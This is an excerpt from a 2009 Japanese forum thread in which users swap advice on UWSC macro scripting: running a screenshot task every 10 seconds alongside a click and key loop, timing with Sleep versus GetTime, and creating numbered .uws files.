776 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/28(水) 13:43:40 ID:/Aufm+7p0] どこまで省略して書いていいのか分からないので、おかしかったらごめんなさい。 while 1 sleep(0.1) call 1.uws //マウスで特定箇所をクリック sleep(0.1) call 2.uws //↑キー10回連打 sleep(0.1) wend こんな感じで、一連の動作に20秒かかるものがあったとして、 その動作とは関係なく、10秒ごとにスクリーンショットをとる「a.uws」があるとすると どう記述すればいいか教えて貰えないでしょうか。 uwscを複数起動させるしかないのかな・・・
777 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/28(水) 13:50:30 ID:wjFSozMw0] >>776 thread で10秒ごとに処理を実行するスクリプト(while でまわしてsleepでもやれ)を動かせ
778 名前:776 mailto:sage [2009/10/28(水) 14:09:21 ID:/Aufm+7p0] うぉ。 素早い返答ありがとうございます。 試してみます。
779 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/28(水) 16:13:10 ID:LN396H4A0] IFで足し算使った方が良くね? ズレるかもしれんからthread使ってないんだけど全くズレないのか
780 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/28(水) 17:02:27 ID:NfK6OA8p0] >>779 足し算ってなに? 時間がもっとも正確なのはGetTime() でもSleep()の方が処理が軽い。 メインループで何回かに一度実行するのがもっとも時間が不安定になるが、 他の処理とかぶらないのでCPU使用時間に対するUWSCの占める時間は安定するし、 操縦も安定して実行できる。 Sleep()した時間を足していく方法もいいけど、 ある程度時間のかかる処理をすると、その分だけ時間がかかる。 確かにSleep時間を取れば汎用的だけど、もっと大雑把に回数でやったほうが、特に初心者にはやりやすい。 もしSleep時間でやるとしたら、こんな風にやるのがシンプルだし処理も軽い。 while true for t = 1 to 10 step 0.3 //stepはSleep時間の合計 処理1 Sleep(0.1) 処理2 Sleep(0.1) 処理3 Sleep(0.1) next キャプチャ処理 wend 細かいことを言えば、Stepが0.3の場合、初期値も0.3なのが普通だけど、 ループ自体に時間もかかるし、Sleep以外の処理でも少し時間がかかるので 初期値1にしたほうがより近い時間になるだろうし、 初心者にも初期値は1で固定したほうが10回のときに1から10だから分かりやすいだろう。 あ、でも、定期的な処理が複数あって時間もまちまちの場合はこのやり方は不向きだな。応用が利かない。
781 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/28(水) 17:11:42 ID:LN396H4A0] たしざん 【足し算】 二つ以上の数を加えてその合計を出す計算。加え算。寄せ算。加法。加算。
782 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/28(水) 20:12:47 ID:1RRSN1UB0] アクティブなフォルダに空の「NewFile(1).UWS」を作るようにすることって出来るかな (1)の部分は既にファイルがあれば(2)(3)〜となるように ヘルプとか見ながら考えてるんだけど、全然分からない
783 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/28(水) 20:20:54 ID:NfK6OA8p0] >>782 それはできるけど、作ったファイルをCALLすることは出来ないっぽいよ。 CALLする .uwsファイルは、親をロードしたときにまとめて読み込むみたいだから。
784 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/28(水) 20:21:35 ID:NfK6OA8p0] あ、SHELLを使って別プロセスで実行することは出来るだろう。